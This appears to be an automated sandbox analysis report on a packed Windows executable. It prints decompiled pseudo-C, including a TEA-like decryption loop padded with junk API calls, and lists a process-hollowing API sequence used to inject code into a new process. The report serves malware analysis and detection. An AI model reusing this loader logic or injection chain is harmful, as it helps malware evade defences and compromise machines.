				if( *0x5233fc == 0x114e) {
					VerLanguageNameW(0,  &_v2184, 0);
				}
				_t55 =  *0x49fed8; // 0x476d80fe
				_v40 = _t55;
				_t56 =  *0x49fedc; // 0x81d33a33
				_v44 = _t56;
				_v32 = 0x9e3779b9;
				E00401024( &_v12);
				_v12 = _v12 + 0x22;
				if( *0x5233fc == 0xb54) {
					__imp__FindActCtxSectionStringA(0, 0, 0, "Sip muwuliruvonabeposusoxohu soliciji",  &_v136);
					lstrcpyW( &_v4232, L"wopusumolixe velitibepuwo");
					PrepareTape(0, 0, 0);
					ReadFile(0, 0, 0, 0, 0);
					__imp__FindFirstVolumeA( &_v1160, 0);
					__imp__FindNextVolumeA(0, 0, 0);
				}
				_t59 =  *0x49fee0; // 0x3c152a35
				_v48 = _t59;
				_t60 =  *0x49fee4; // 0x20a5927c
				_v36 = _t60;
				_v28 = 0x20;
				do {
					_v20 = 2;
					_v20 = _v20 + 3;
					E00401000(_t114,  &_v16);
					_v16 = _v16 + _v48;
					_t64 =  *0x5233fc;
					if(_t64 == 0xfa9) {
						 *0x5183cc = 0xedeb2e40;
					}
					if(_t64 == 0x3eb) {
						__imp__AddConsoleAliasA(0, 0, 0);
						InterlockedIncrement(0);
						 *0x5151c4 = 0;
					}
					 *0x5183c8 = 0x9150ce2e;
					_v24 = _t114 >> _v20;
					E0040102B( &_v24, _v36);
					_t72 = E0040101D(_v16, _v12 + _t114);
					_v16 = _t72;
					_t113 = _t113 - (_v24 ^ _t72);
					E00401000(_t113,  &_v16);
					_v24 = _t113 >> 5;
					E0040102B( &_v24, _v44);
					_v16 = E0040101D(_v16 + _v40, _v12 + _t113);
					E00401006( &_v16, _v24);
					_t114 = _t114 - _v16;
					 *0x4bcb80 = 0;
					_v12 = _v12 - _v32;
					_t48 =  &_v28;
					 *_t48 = _v28 - 1;
				} while ( *_t48 != 0);
				_t87 = _a4;
				_t87[1] = _t113;
				 *_t87 = _t114;
				return _t87;
			}

APIs

SizeofResource.KERNEL32(00000000,00000000), ref: 00401056
WaitForSingleObject.KERNEL32(00000000,00000000), ref: 0040105E
SetConsoleCP.KERNEL32(00000000), ref: 00401065
SetEvent.KERNEL32(00000000), ref: 0040106C
EnterCriticalSection.KERNEL32(?), ref: 00401076
FreeUserPhysicalPages.KERNEL32(00000000,?,00000000), ref: 00401082
VerLanguageNameW.KERNEL32(00000000,?,00000000), ref: 004010A0
FindActCtxSectionStringA.KERNEL32(00000000,00000000,00000000,Sip muwuliruvonabeposusoxohu soliciji,?), ref: 004010E3
lstrcpyW.KERNEL32 ref: 004010F5
PrepareTape.KERNEL32 ref: 004010FE
ReadFile.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00401109
FindFirstVolumeA.KERNEL32(?,00000000), ref: 00401117
FindNextVolumeA.KERNEL32(00000000,00000000,00000000), ref: 00401120
AddConsoleAliasA.KERNEL32(00000000,00000000,00000000), ref: 00401178
InterlockedIncrement.KERNEL32(00000000), ref: 0040117F

Strings

wopusumolixe velitibepuwo, xrefs: 004010E9
, xrefs: 00401136
Sip muwuliruvonabeposusoxohu soliciji, xrefs: 004010DB
", xrefs: 004010C4

Memory Dump Source

Source File: 00000004.00000002.386369375.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.386364604.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.386717953.000000000049B000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.386725052.000000000049F000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.386734032.0000000000525000.00000002.00020000.sdmp Download File

Similarity

API ID: Find$ConsoleSectionVolume$AliasCriticalEnterEventFileFirstFreeIncrementInterlockedLanguageNameNextObjectPagesPhysicalPrepareReadResourceSingleSizeofStringTapeUserWaitlstrcpy
String ID: $"$Sip muwuliruvonabeposusoxohu soliciji$wopusumolixe velitibepuwo
API String ID: 43302564-2845027678
Opcode ID: 311c8fe042e1549a8f4ca8da15754040dea340b6dcae34bf3ec6c88dcfe6c88f
Instruction ID: 08646927417be7ff520c7fa3c0d8ede0254f1320ca879ba3ea27918877e2510b
Opcode Fuzzy Hash: 311c8fe042e1549a8f4ca8da15754040dea340b6dcae34bf3ec6c88dcfe6c88f
Instruction Fuzzy Hash: 9A51EBB1900209AFDB10DFA5ED899AEB7B8FF18305F10447AF511E7261DB389A44CF64

Uniqueness

Uniqueness Score: -1.00%

Function 00406B0A, Relevance: 7.5, APIs: 5, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00406B0A(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t15;
				LONG* _t21;
				long _t23;
				void* _t29;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x49d7f0);
				E00402974(__ebx, __edi, __esi);
				_t31 = E00404763(__ebx, _t35);
				_t15 =  *0x49fca0; // 0xfffffffe
				if(( *(_t31 + 0x70) & _t15) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E00401E7B(_t25, _t29, _t31, 0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x49fa98; // 0x24c1678
					if(__eflags != 0) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x49f670;
								if(__eflags != 0) {
									_push(_t33);
									E00403BB5(_t25, _t29, _t31, _t33, __eflags);
								}
							}
						}
						_t21 =  *0x49fa98; // 0x24c1678
						 *(_t31 + 0x68) = _t21;
						_t33 =  *0x49fa98; // 0x24c1678
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E00406BA5();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E00402BBC(_t29, 0x20);
				}
				return E004029B9(_t33);
			}

APIs

__getptd.LIBCMT ref: 00406B16

Part of subcall function 00404763: __getptd_noexit.LIBCMT ref: 00404766
Part of subcall function 00404763: __amsg_exit.LIBCMT ref: 00404773

__amsg_exit.LIBCMT ref: 00406B36
__lock.LIBCMT ref: 00406B46
InterlockedDecrement.KERNEL32(?), ref: 00406B63
InterlockedIncrement.KERNEL32(024C1678), ref: 00406B8E

Memory Dump Source

Source File: 00000004.00000002.386369375.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.386364604.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.386717953.000000000049B000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.386725052.000000000049F000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.386734032.0000000000525000.00000002.00020000.sdmp Download File

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock
String ID:
API String ID: 4271482742-0
Opcode ID: 8e79138a9fef8bb14e6f3146121894ead98681d02f3ee7b34af12d2ac9339ba4
Instruction ID: b7e7cdf4ab2dca7f0cb8ebeb8f993ade99b11a547bd211c41be5ebd1355b488d
Opcode Fuzzy Hash: 8e79138a9fef8bb14e6f3146121894ead98681d02f3ee7b34af12d2ac9339ba4
Instruction Fuzzy Hash: 14015E719006319BDA21AF699506B5A7B70AB04724F05003BE805F77D2C77C79A1CBDD

Uniqueness

Uniqueness Score: -1.00%

Function 00403BB5, Relevance: 7.5, APIs: 5, Instructions: 44
memoryCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E00403BB5(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _t10;
				intOrPtr _t13;
				intOrPtr _t24;
				void* _t26;

				_push(0xc);
				_push(0x49d618);
				_t8 = E00402974(__ebx, __edi, __esi);
				_t24 =  *((intOrPtr*)(_t26 + 8));
				if(_t24 == 0) {
					L9:
					return E004029B9(_t8);
				}
				if( *0x524558 != 3) {
					_push(_t24);
					L7:
					_t8 = HeapFree( *0x4a0ea4, 0, ??);
					_t32 = _t8;
					if(_t8 == 0) {
						_t10 = E004030EA(_t32);
						 *_t10 = E004030A8(GetLastError());
					}
					goto L9;
				}
				E00401E7B(__ebx, __edx, __edi, 4);
				 *(_t26 - 4) =  *(_t26 - 4) & 0x00000000;
				_t13 = E00401EAE(_t24);
				 *((intOrPtr*)(_t26 - 0x1c)) = _t13;
				if(_t13 != 0) {
					_push(_t24);
					_push(_t13);
					E00401EDE();
				}
				 *(_t26 - 4) = 0xfffffffe;
				_t8 = E00403C0B();
				if( *((intOrPtr*)(_t26 - 0x1c)) != 0) {
					goto L9;
				} else {
					_push( *((intOrPtr*)(_t26 + 8)));
					goto L7;
				}
			}

APIs

__lock.LIBCMT ref: 00403BD3

Part of subcall function 00401E7B: __mtinitlocknum.LIBCMT ref: 00401E91
Part of subcall function 00401E7B: __amsg_exit.LIBCMT ref: 00401E9D
Part of subcall function 00401E7B: EnterCriticalSection.KERNEL32(?,?,?,0040736D,00000004,0049D850,0000000C,00404B99,?,?,00000000,00000000,00000000,?,00404715,00000001), ref: 00401EA5

___sbh_find_block.LIBCMT ref: 00403BDE
___sbh_free_block.LIBCMT ref: 00403BED
HeapFree.KERNEL32(00000000,?,0049D618,0000000C,00401E5C,00000000,0049D598,0000000C,00401E96,?,?,?,0040736D,00000004,0049D850,0000000C), ref: 00403C1D
GetLastError.KERNEL32(?,0040736D,00000004,0049D850,0000000C,00404B99,?,?,00000000,00000000,00000000,?,00404715,00000001,00000214), ref: 00403C2E

Memory Dump Source

Source File: 00000004.00000002.386369375.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.386364604.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.386717953.000000000049B000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.386725052.000000000049F000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.386734032.0000000000525000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalEnterErrorFreeHeapLastSection___sbh_find_block___sbh_free_block__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2714421763-0
Opcode ID: b0a696a28bc6dfe723afddc6b3b4f4e2ee9300bc59ba728f16f35dd9d8d689f6
Instruction ID: d88f6c722534de821edc574c016d73d15dafa5fb232e70ccbfc4cf7dbed02164
Opcode Fuzzy Hash: b0a696a28bc6dfe723afddc6b3b4f4e2ee9300bc59ba728f16f35dd9d8d689f6
Instruction Fuzzy Hash: A001A232A05205AAEF306F729D0AB5F3EA89F1172AF10403FF504B61D1CB3C8A409A9C

Uniqueness

Uniqueness Score: -1.00%

Function 00407AC8, Relevance: 6.1, APIs: 4, Instructions: 103
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407AC8(void* __edx, void* __edi, short* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				signed int _v12;
				char _v20;
				char _t43;
				char _t46;
				signed int _t53;
				signed int _t54;
				intOrPtr _t56;
				int _t57;
				int _t58;
				signed short* _t59;
				short* _t60;
				int _t65;
				char* _t74;

				_t74 = _a8;
				if(_t74 == 0 || _a12 == 0) {
					L5:
					return 0;
				} else {
					if( *_t74 != 0) {
						E004067F2( &_v20, __edx, __edi, _a16);
						_t43 = _v20;
						__eflags =  *(_t43 + 0x14);
						if( *(_t43 + 0x14) != 0) {
							_t46 = E00407BF9( *_t74 & 0x000000ff,  &_v20);
							__eflags = _t46;
							if(_t46 == 0) {
								__eflags = _a4;
								__eflags = MultiByteToWideChar( *(_v20 + 4), 9, _t74, 1, _a4, 0 | _a4 != 0x00000000);
								if(__eflags != 0) {
									L10:
									__eflags = _v8;
									if(_v8 != 0) {
										_t53 = _v12;
										_t11 = _t53 + 0x70;
										 *_t11 =  *(_t53 + 0x70) & 0xfffffffd;
										__eflags =  *_t11;
									}
									return 1;
								}
								L21:
								_t54 = E004030EA(__eflags);
								 *_t54 = 0x2a;
								__eflags = _v8;
								if(_v8 != 0) {
									_t54 = _v12;
									_t33 = _t54 + 0x70;
									 *_t33 =  *(_t54 + 0x70) & 0xfffffffd;
									__eflags =  *_t33;
								}
								return _t54 | 0xffffffff;
							}
							_t56 = _v20;
							_t65 =  *(_t56 + 0xac);
							__eflags = _t65 - 1;
							if(_t65 <= 1) {
								L17:
								__eflags = _a12 -  *(_t56 + 0xac);
								if(__eflags < 0) {
									goto L21;
								}
								__eflags = _t74[1];
								if(__eflags == 0) {
									goto L21;
								}
								L19:
								_t57 =  *(_t56 + 0xac);
								__eflags = _v8;
								if(_v8 == 0) {
									return _t57;
								}
								 *((intOrPtr*)(_v12 + 0x70)) =  *(_v12 + 0x70) & 0xfffffffd;
								return _t57;
							}
							__eflags = _a12 - _t65;
							if(_a12 < _t65) {
								goto L17;
							}
							__eflags = _a4;
							_t58 = MultiByteToWideChar( *(_t56 + 4), 9, _t74, _t65, _a4, 0 | _a4 != 0x00000000);
							__eflags = _t58;
							_t56 = _v20;
							if(_t58 != 0) {
								goto L19;
							}
							goto L17;
						}
						_t59 = _a4;
						__eflags = _t59;
						if(_t59 != 0) {
							 *_t59 =  *_t74 & 0x000000ff;
						}
						goto L10;
					} else {
						_t60 = _a4;
						if(_t60 != 0) {
							 *_t60 = 0;
						}
						goto L5;
					}
				}
			}

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 00407AFC
__isleadbyte_l.LIBCMT ref: 00407B30
MultiByteToWideChar.KERNEL32(?,00000009,00000000,?,00000000,00000000,?,?,?), ref: 00407B61
MultiByteToWideChar.KERNEL32(?,00000009,00000000,00000001,00000000,00000000,?,?,?), ref: 00407BCF

Memory Dump Source

Source File: 00000004.00000002.386369375.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.386364604.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.386717953.000000000049B000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.386725052.000000000049F000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.386734032.0000000000525000.00000002.00020000.sdmp Download File

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 0b87c5638e294279729cd718a694ef04b2b78dbd9d7a6a14a2ac802030e74201
Instruction ID: f86a876051c9e13ae1ef11263ff456c806a5fb4364bf98fb295cdecbd99c86f5
Opcode Fuzzy Hash: 0b87c5638e294279729cd718a694ef04b2b78dbd9d7a6a14a2ac802030e74201
Instruction Fuzzy Hash: 0B31B130E08255AFCB20DFA4C88096E3BB4BF01314B14457AE451AB2D2D734FE40DB5A

Uniqueness

Uniqueness Score: -1.00%

Function 0040122C, Relevance: 6.0, APIs: 4, Instructions: 37
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040122C() {
				char _v1028;
				unsigned int _t3;
				unsigned int _t9;
				unsigned int* _t10;
				unsigned int* _t11;

				_t10 =  *0x5151c8;
				_t3 =  *0x5233fc >> 3;
				if(_t3 > 0) {
					_t11 = _t10;
					_t9 = _t3;
					do {
						if( *0x5233fc == 0xae9) {
							GetEnvironmentStringsW();
							GetModuleFileNameA(0,  &_v1028, 0);
							EndUpdateResourceW(0, 0);
							EnumResourceTypesA(0, 0, 0);
						}
						_t3 = E0040102E(_t11);
						_t11 = _t11 + 8;
						_t9 = _t9 - 1;
					} while (_t9 != 0);
				}
				return _t3;
			}

0x00401231
0x0040123f
0x00401247
0x00401249
0x0040124b
0x0040124d
0x00401257
0x00401259
0x00401266
0x0040126e
0x00401277
0x00401277
0x0040127e
0x00401283
0x00401286
0x00401286
0x0040124d
0x00401292

APIs

GetEnvironmentStringsW.KERNEL32(00000001,00000000), ref: 00401259
GetModuleFileNameA.KERNEL32(00000000,?,00000000), ref: 00401266
EndUpdateResourceW.KERNEL32(00000000,00000000), ref: 0040126E
EnumResourceTypesA.KERNEL32 ref: 00401277

Memory Dump Source

Source File: 00000004.00000002.386369375.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.386364604.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.386717953.000000000049B000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.386725052.000000000049F000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.386734032.0000000000525000.00000002.00020000.sdmp Download File

Similarity

API ID: Resource$EnumEnvironmentFileModuleNameStringsTypesUpdate
String ID:
API String ID: 3221797609-0
Opcode ID: c53ae85e4c2ebb3384eba3555cbaeee964412007827eb988a8996652b773fc0c
Instruction ID: 5931e7e15b075c259c0bf4b55413e3ec3fc9250ac5d32ea2bad64e79c89563b3
Opcode Fuzzy Hash: c53ae85e4c2ebb3384eba3555cbaeee964412007827eb988a8996652b773fc0c
Instruction Fuzzy Hash: 58F05472542124ABC6217B91FE4CCAF3A6CEFA6351B00013AF655E1260DB38594ADBF9

Uniqueness

Uniqueness Score: -1.00%

Function 00407276, Relevance: 6.0, APIs: 4, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00407276(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int _t13;
				void* _t25;
				intOrPtr _t27;
				intOrPtr _t29;
				void* _t30;
				void* _t31;

				_t31 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ebx;
				_push(0xc);
				_push(0x49d830);
				E00402974(__ebx, __edi, __esi);
				_t29 = E00404763(__ebx, _t31);
				_t13 =  *0x49fca0; // 0xfffffffe
				if(( *(_t29 + 0x70) & _t13) == 0) {
					L6:
					E00401E7B(_t22, _t25, _t26, 0xc);
					 *(_t30 - 4) =  *(_t30 - 4) & 0x00000000;
					_t8 = _t29 + 0x6c; // 0x6c
					_t27 =  *0x49fc78; // 0x49fba0
					 *((intOrPtr*)(_t30 - 0x1c)) = E00407238(_t8, _t25, _t27);
					 *(_t30 - 4) = 0xfffffffe;
					E004072E0();
				} else {
					_t33 =  *((intOrPtr*)(_t29 + 0x6c));
					if( *((intOrPtr*)(_t29 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t29 =  *((intOrPtr*)(E00404763(_t22, _t33) + 0x6c));
					}
				}
				if(_t29 == 0) {
					E00402BBC(_t25, 0x20);
				}
				return E004029B9(_t29);
			}

APIs

__getptd.LIBCMT ref: 00407282

Part of subcall function 00404763: __getptd_noexit.LIBCMT ref: 00404766
Part of subcall function 00404763: __amsg_exit.LIBCMT ref: 00404773

__getptd.LIBCMT ref: 00407299
__amsg_exit.LIBCMT ref: 004072A7
__lock.LIBCMT ref: 004072B7

Memory Dump Source

Source File: 00000004.00000002.386369375.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.386364604.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.386717953.000000000049B000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.386725052.000000000049F000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.386734032.0000000000525000.00000002.00020000.sdmp Download File

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: a66766040d5c99c67bef77dbe990db916fa77483151dbea97b1db6aa5c330d21
Instruction ID: a69dae38b482687d40f4d25f0a4360fa5c61ba89ee383e2e75f3006d8679663d
Opcode Fuzzy Hash: a66766040d5c99c67bef77dbe990db916fa77483151dbea97b1db6aa5c330d21
Instruction Fuzzy Hash: BBF06D31E447049BD620BB768506B4E73A06B41724F5042BFB950BB2D2CBBCA901CA9F

Uniqueness

Uniqueness Score: -1.00%

Function 0040369E, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040369E() {
				intOrPtr _t5;
				intOrPtr _t6;
				intOrPtr _t10;
				void* _t12;
				intOrPtr _t15;
				intOrPtr* _t16;
				signed int _t19;
				signed int _t20;
				intOrPtr _t26;
				intOrPtr _t27;

				_t5 =  *0x524420;
				_t26 = 0x14;
				if(_t5 != 0) {
					if(_t5 < _t26) {
						_t5 = _t26;
						goto L4;
					}
				} else {
					_t5 = 0x200;
					L4:
					 *0x524420 = _t5;
				}
				_t6 = E00404B83(_t5, 4);
				 *0x523410 = _t6;
				if(_t6 != 0) {
					L8:
					_t19 = 0;
					_t15 = 0x49f398;
					while(1) {
						 *((intOrPtr*)(_t19 + _t6)) = _t15;
						_t15 = _t15 + 0x20;
						_t19 = _t19 + 4;
						if(_t15 >= 0x49f618) {
							break;
						}
						_t6 =  *0x523410;
					}
					_t27 = 0xfffffffe;
					_t20 = 0;
					_t16 = 0x49f3a8;
					do {
						_t10 =  *((intOrPtr*)(((_t20 & 0x0000001f) << 6) +  *((intOrPtr*)(0x524440 + (_t20 >> 5) * 4))));
						if(_t10 == 0xffffffff || _t10 == _t27 || _t10 == 0) {
							 *_t16 = _t27;
						}
						_t16 = _t16 + 0x20;
						_t20 = _t20 + 1;
					} while (_t16 < 0x49f408);
					return 0;
				} else {
					 *0x524420 = _t26;
					_t6 = E00404B83(_t26, 4);
					 *0x523410 = _t6;
					if(_t6 != 0) {
						goto L8;
					} else {
						_t12 = 0x1a;
						return _t12;
					}
				}
			}

APIs

__calloc_crt.LIBCMT ref: 004036C0
__calloc_crt.LIBCMT ref: 004036D9

Strings

4R, xrefs: 004036F0

Memory Dump Source

Source File: 00000004.00000002.386369375.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.386364604.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.386717953.000000000049B000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.386725052.000000000049F000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.386734032.0000000000525000.00000002.00020000.sdmp Download File

Similarity

API ID: __calloc_crt
String ID: 4R
API String ID: 3494438863-4181941469
Opcode ID: 41d1aaf42289aaa5eb52a441086e98b2bc9d6f2a9c9eb88d027759527555a963
Instruction ID: c2362c295b1daf57746bd59c6d0b3ac5332547f6bcad01e71a20195a9ff318e8
Opcode Fuzzy Hash: 41d1aaf42289aaa5eb52a441086e98b2bc9d6f2a9c9eb88d027759527555a963
Instruction Fuzzy Hash: 77113DB130021167EB349E1EBC406613AD9AB95339B14463FE510EB3D4E73DD98659CC

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ZZGJ1bZClw.exe PID: 600 Parent PID: 936 ZZGJ1bZClw.exeCOMMON

Executed Functions

Function 02280110, Relevance: 22.7, APIs: 15, Instructions: 248memorynativethreadCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 02280156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0228016C
CreateProcessA.KERNELBASE(?,00000000), ref: 02280255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02280270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02280283
GetThreadContext.KERNELBASE(00000000,?), ref: 0228029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 022802C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 022802E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 02280304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0228032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 02280399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 022803BF
SetThreadContext.KERNELBASE(00000000,?), ref: 022803E1
ResumeThread.KERNELBASE(00000000), ref: 022803ED
ExitProcess.KERNEL32(00000000), ref: 02280412

Memory Dump Source

Source File: 00000005.00000002.403053560.0000000002280000.00000040.00000001.sdmp, Offset: 02280000, based on PE: false

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: eceb0348b9e7ae7bb459848f0410b119c72afaf59d3777ec3700d94d48aaa31e
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 10B1C574A00209AFDB44CF98C895F9EBBB5BF88314F248158E908AB395D771AE45CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02280420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 02280533

Strings

d, xrefs: 02280584
0, xrefs: 02280492
mfoaskdfnoa, xrefs: 02280520, 02280523
saodkfnosa9uin, xrefs: 022804DA

Memory Dump Source

Source File: 00000005.00000002.403053560.0000000002280000.00000040.00000001.sdmp, Offset: 02280000, based on PE: false

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: f805dc5cd9b8c8de52416976089daf9c5ad571ce53583596c8908c015fb4bf89
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: D2511870D08388DAEB11DBE8C849BDDBFB2AF11708F144058D5447F2CAC3BA9658CB66

Uniqueness

Uniqueness Score: -1.00%

Function 022805B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 022805EC

Strings

o, xrefs: 02280600
apfHQ, xrefs: 022805E2, 022805E5

Memory Dump Source

Source File: 00000005.00000002.403053560.0000000002280000.00000040.00000001.sdmp, Offset: 02280000, based on PE: false

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 2025f1f08d3e70fbe3c8a1ce789f1f176e1347855f09d90703f9378db9f42b81
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: AF011E70C0525DEADB10EBD8C5183AEBFB5AF41308F148099C4092B282D7B69B58CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 020687C6, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Module32First.KERNEL32(00000000,00000224), ref: 0206880E

Memory Dump Source

Source File: 00000005.00000002.402867546.0000000002068000.00000040.00000001.sdmp, Offset: 02068000, based on PE: false

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 8464cac693f4494a9db32a7df5038454330e842d344a41665d9a8c272c4384f9
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 9FF096312007116FD7213BF5A88DB7E76E8AF49625F104568E643A14C0DB70E8499A61

Uniqueness

Uniqueness Score: -1.00%

Function 02068485, Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 020684D6

Memory Dump Source

Source File: 00000005.00000002.402867546.0000000002068000.00000040.00000001.sdmp, Offset: 02068000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: bcc16c0fdaaeac3cb4abab9f6c9996ae6049d51430f4a48ee231f9173ff0e21a
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 21113C79A00208EFDB01DF98C989E99BBF5AF08350F05C094F9489B361D371EA90EF80

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 022A3F16, Relevance: 16.8, APIs: 11, Instructions: 258COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 022A3F51

Part of subcall function 022A5BA8: __getptd_noexit.LIBCMT ref: 022A5BA8

__gmtime64_s.LIBCMT ref: 022A3FEA
__gmtime64_s.LIBCMT ref: 022A4020
__gmtime64_s.LIBCMT ref: 022A403D
__allrem.LIBCMT ref: 022A4093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 022A40AF
__allrem.LIBCMT ref: 022A40C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 022A40E4
__allrem.LIBCMT ref: 022A40FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 022A4119
__invoke_watson.LIBCMT ref: 022A418A

Memory Dump Source

Source File: 00000005.00000002.403053560.0000000002280000.00000040.00000001.sdmp, Offset: 02280000, based on PE: false

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
